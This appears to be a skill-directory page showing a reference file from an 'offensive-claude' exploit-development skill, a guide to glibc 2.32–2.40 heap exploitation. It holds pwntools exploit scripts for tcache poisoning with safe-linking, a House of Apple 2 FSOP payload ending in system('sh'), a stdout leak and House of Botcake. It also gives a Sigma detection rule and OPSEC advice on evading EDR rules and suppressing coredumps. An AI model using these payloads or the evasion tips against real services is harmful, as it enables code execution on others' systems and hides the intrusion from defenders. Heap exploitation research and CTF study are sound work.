Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

references/heap-glibc-fsop.md

View on GitHub
# glibc Heap Exploitation & FSOP (2.32 - 2.40)

CWE-416 (UAF), CWE-415 (double free), CWE-787 (OOB write). ATT&CK T1203.

## Theory / Mechanism

glibc malloc (ptmalloc2) recycles freed chunks through bins. The exploitation surface is the **free-list metadata** stored inside freed chunks:

- **tcache** (per-thread, glibc 2.26+): singly-linked LIFO, 7 chunks/bin, no size check pre-2.29, double-free key (`tcache->key`) added in 2.29, **safe-linking** added in **2.32**, and `e->key` count check tightened in 2.34+.
- **fastbins**: singly-linked, size class fixed, also safe-linked since 2.32.
- **unsorted/small/large bins**: doubly-linked; `bk`/`fd` unlink attacks (largebin attack writes an attacker pointer into a chosen address).

The modern endgame changed twice:
1. **glibc 2.34** removed `__malloc_hook` / `__free_hook` / `__realloc_hook` from the runtime — the classic "free hook -> system" path is dead on Ubuntu 22.04 / RHEL 9 and later. Symbols remain as inert compat stubs.
2. The replacement is **FSOP (File-Stream-Oriented Programming)**: corrupt an `_IO_FILE` (stdout/stderr/`_IO_list_all`) so a flush/exit invokes an attacker function pointer.

### Safe-linking (2.32+)

A freed chunk's `fd` is stored **mangled**: `mangled_fd = (chunk_addr >> 12) ^ next_ptr`. To poison a tcache/fastbin `fd` to land an allocation at `target`, you must know the chunk's address (a heap leak) and compute `(chunk_addr >> 12) ^ target`. Additional 2.32 check: returned chunks must be 16-byte aligned, so `target` must be aligned. `scripts/safe_linking.py` does the encode/decode math.

### tcache poisoning (the workhorse)

1. Alloc A, B (same tcache size).
2. Free B, free A -> tcache bin: `A -> B`.
3. Via UAF/overflow, overwrite A's `fd` with `mangle(A_addr, target)`.
4. `malloc()` returns A; next `malloc()` returns `target` -> arbitrary write.

### House techniques still live on 2.35-2.40

- **House of Botcake**: defeats the tcache double-free key by laundering a chunk through the unsorted bin so the same chunk legitimately sits in *both* the unsorted bin and tcache -> overlapping chunk -> controlled `fd`. Works where you have one extra free of an adjacent chunk.
- **House of Einherjar**: single null-byte off-by-one clears `prev_inuse`; a forged `prev_size` makes `free()` consolidate backward over a fake chunk -> overlapping chunks.
- **House of Apple 2** (roderick01, 2022; effective vs 2.35-2.40): FSOP that hijacks `_IO_wfile_jumps`. Because `IO_validate_vtable` checks the main vtable but **not** the `_wide_data->_wide_vtable`, you redirect through `_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE`, which calls `_wide_vtable->__doallocate` = `system` (rdi points at the FILE, so set `_flags = "  sh;"`).
- **House of Tangerine / House of Water** (2023-2024 CTF era): leakless control of `tcache_perthread_struct` enabling poisoning without a heap leak — useful when you cannot leak the heap to defeat safe-linking.

## Working Code

### tcache poison with safe-linking (glibc 2.35)

```python
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./heapnote')
libc = ELF('./libc.so.6')   # 2.35

def mangle(pos, ptr):       # safe-linking encode
    return (pos >> 12) ^ ptr

p = process('./heapnote')
# ... obtain heap_leak and libc_leak via UAF read of a freed unsorted chunk ...
heap_base = heap_leak & ~0xfff
libc.address = libc_leak - (libc.symbols['__malloc_hook'] - 0x10)  # unsorted-bin main_arena offset

A = 0; B = 1                                   # note indices, size 0x90
free(B); free(A)                               # tcache: A -> B  (chunkA fd holds mangle(A,B))
target = libc.symbols['_IO_2_1_stdout_']       # FSOP later, or any writable target
chunkA_addr = heap_base + 0x290
edit(A, p64(mangle(chunkA_addr, target)))      # poison A.fd
alloc(0x90)                                    # returns A
arb = alloc(0x90)                              # returns 'target'  -> arbitrary write
edit(arb, fsop_payload)
```

### House of Apple 2 FSOP payload (manual, glibc 2.35-2.40)

```python
from pwn import *
context.arch = 'amd64'

def house_of_apple2(libc, stdout_addr, fake_heap, system):
    wfile_jumps = libc.symbols['_IO_wfile_jumps']
    # FILE laid over _IO_2_1_stdout_ (offsets are stable across 2.35-2.40 x86-64)
    f = b'  sh;'.ljust(8, b'\x00')             # _flags=0x0: rdi -> FILE; "  sh;" => system("sh")
    f = f.ljust(0xa0, b'\x00')                 # up to _wide_data
    f += p64(fake_heap)                        # 0xa0 _wide_data -> controlled A
    f = f.ljust(0xc0, b'\x00')
    f += p64(0)                                # 0xc0 _mode (must be <= 0)
    f = f.ljust(0xd8, b'\x00')
    f += p64(wfile_jumps)                      # 0xd8 vtable = _IO_wfile_jumps
    # controlled _wide_data (A):
    A  = p64(0).ljust(0x18, b'\x00')           # A+0x18 _IO_write_base = 0
    A += p64(0).ljust(0x30 - 0x20, b'\x00')
    A += p64(0)                                # A+0x30 _IO_buf_base = 0
    A  = A.ljust(0xe0, b'\x00')
    A += p64(fake_heap + 0x200)                # A+0xe0 _wide_vtable = B
    # controlled _wide_vtable (B): __doallocate at +0x68
    B = b'\x00' * 0x68 + p64(system)
    return f, A, B
# Trigger: exit() / fflush(stdout) -> _IO_flush_all -> _IO_wfile_overflow -> system("sh")
```

### stdout-leak FSOP (turn a single write into a giant libc/heap leak)

```python
# Overwrite _IO_2_1_stdout_ fields so the next stdout activity dumps libc memory.
# Works on all modern glibc; needs the binary to not be fully line-buffered.
from pwn import p64
leak_file = p64(0xfbad1800)        # _flags: magic | _IO_NO_READS off
leak_file += p64(0)*3              # _IO_read_ptr/_end/_base = 0
leak_file += b'\x00'              # LSB of _IO_write_base -> points before write_ptr
# Place over _IO_2_1_stdout_ via tcache/largebin write; next puts() leaks heap+libc.
```

### House of Botcake (double-free under tcache key, no hook)

```python
# size 0x100; need 9 allocations
for i in range(7): a[i] = alloc(0xf0)          # tcache fodder
prev = alloc(0xf0); victim = alloc(0xf0); guard = alloc(0xf0)
for i in range(7): free(a[i])                  # fill tcache (7)
free(prev); free(victim)                       # both to unsorted, consolidate (prev|victim)
alloc(0xf0)                                    # pop one tcache slot -> room for 1 more
free(victim)                                   # victim now in BOTH unsorted AND tcache
big = alloc(0x120)                             # spans prev+victim -> overlaps victim
edit(big, fake_tcache_fd_for_victim)           # poison victim.fd -> arbitrary alloc
```

## Detection

```yaml
# Sigma: glibc heap-corruption aborts (failed/unstable exploitation, or fortify trips)
title: glibc Heap Corruption Abort Burst
logsource: { product: linux }
detection:
  selection:
    Image|endswith: ['/systemd-coredump']
    CommandLine|contains:
      - 'SIGABRT'
  glibc_msg:
    message|contains:
      - 'malloc(): unaligned tcache chunk detected'
      - 'free(): double free detected in tcache'
      - 'malloc(): invalid size'
      - 'corrupted top size'
      - '*** stack smashing detected ***'
  condition: selection or glibc_msg
level: high
```

Telemetry: glibc's hardened checks print to `stderr`/`syslog` on detection (`tcache_double_free`, `unaligned tcache chunk`, `corrupted size vs. prev_size`) then `abort()` -> SIGABRT -> `systemd-coredump` entries. A burst of these from one service is a heap-exploitation IOC. FSOP success is quieter (no abort) but a network daemon that suddenly `execve`s `sh`/`system` is the downstream signal. IOCs: repeated identical-size alloc/free request patterns (heap grooming), and `_IO_` vtable pointers appearing in writable file structs (memory-forensics).

## OPSEC

- **What it touches**: in-process heap only; FSOP success leaves no disk artifact. The loud artifact is `abort()` from glibc integrity checks on a failed groom — pre-validate offsets per exact glibc build (`strings libc.so.6 | grep 'release version'`) to avoid these.
- **Pin the libc**: every offset (`_IO_wfile_jumps`, `system`, `main_arena`) is build-specific; ship the target's exact `libc.so.6` and verify with `pwninit`/`patchelf` locally first.
- **Avoid spray storms**: large grooming sprays inflate RSS and can OOM-kill the service (noisy). Use the minimum chunk count; free your fodder after the primitive to restore allocator state.
- **Cleanup**: after gaining R/W, repair the corrupted `_IO_FILE`/tcache metadata so subsequent normal allocations/flushes don't crash the process. Suppress your own coredumps with `prctl(PR_SET_DUMPABLE, 0)`.
- **Endgame choice**: prefer `setcontext`+ORW over `system("sh")` to avoid the network-daemon-spawns-shell EDR rule; `system` also `fork`s `/bin/sh -c`, a strong IOC.

## References

- Quarkslab "Heap exploitation, glibc internals and nifty tricks" — https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html
- House of Apple 2 original (roderick01) + analysis — https://xz.aliyun.com/t/13092 ; pwncli `IO_FILE_plus_struct` — https://github.com/RoderickChan/pwncli
- House of Water (PotluckCTF 2023, leakless) — https://corgi.rip/posts/leakless_heap_1/
- House of Tangerine — https://born0monday.me/posts/house-of-tangerine/
- Safe-Linking (Check Point) — https://www.checkpoint.com/press/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
- shellphish how2heap (per-glibc-version applicability) — https://github.com/shellphish/how2heap
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 198kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall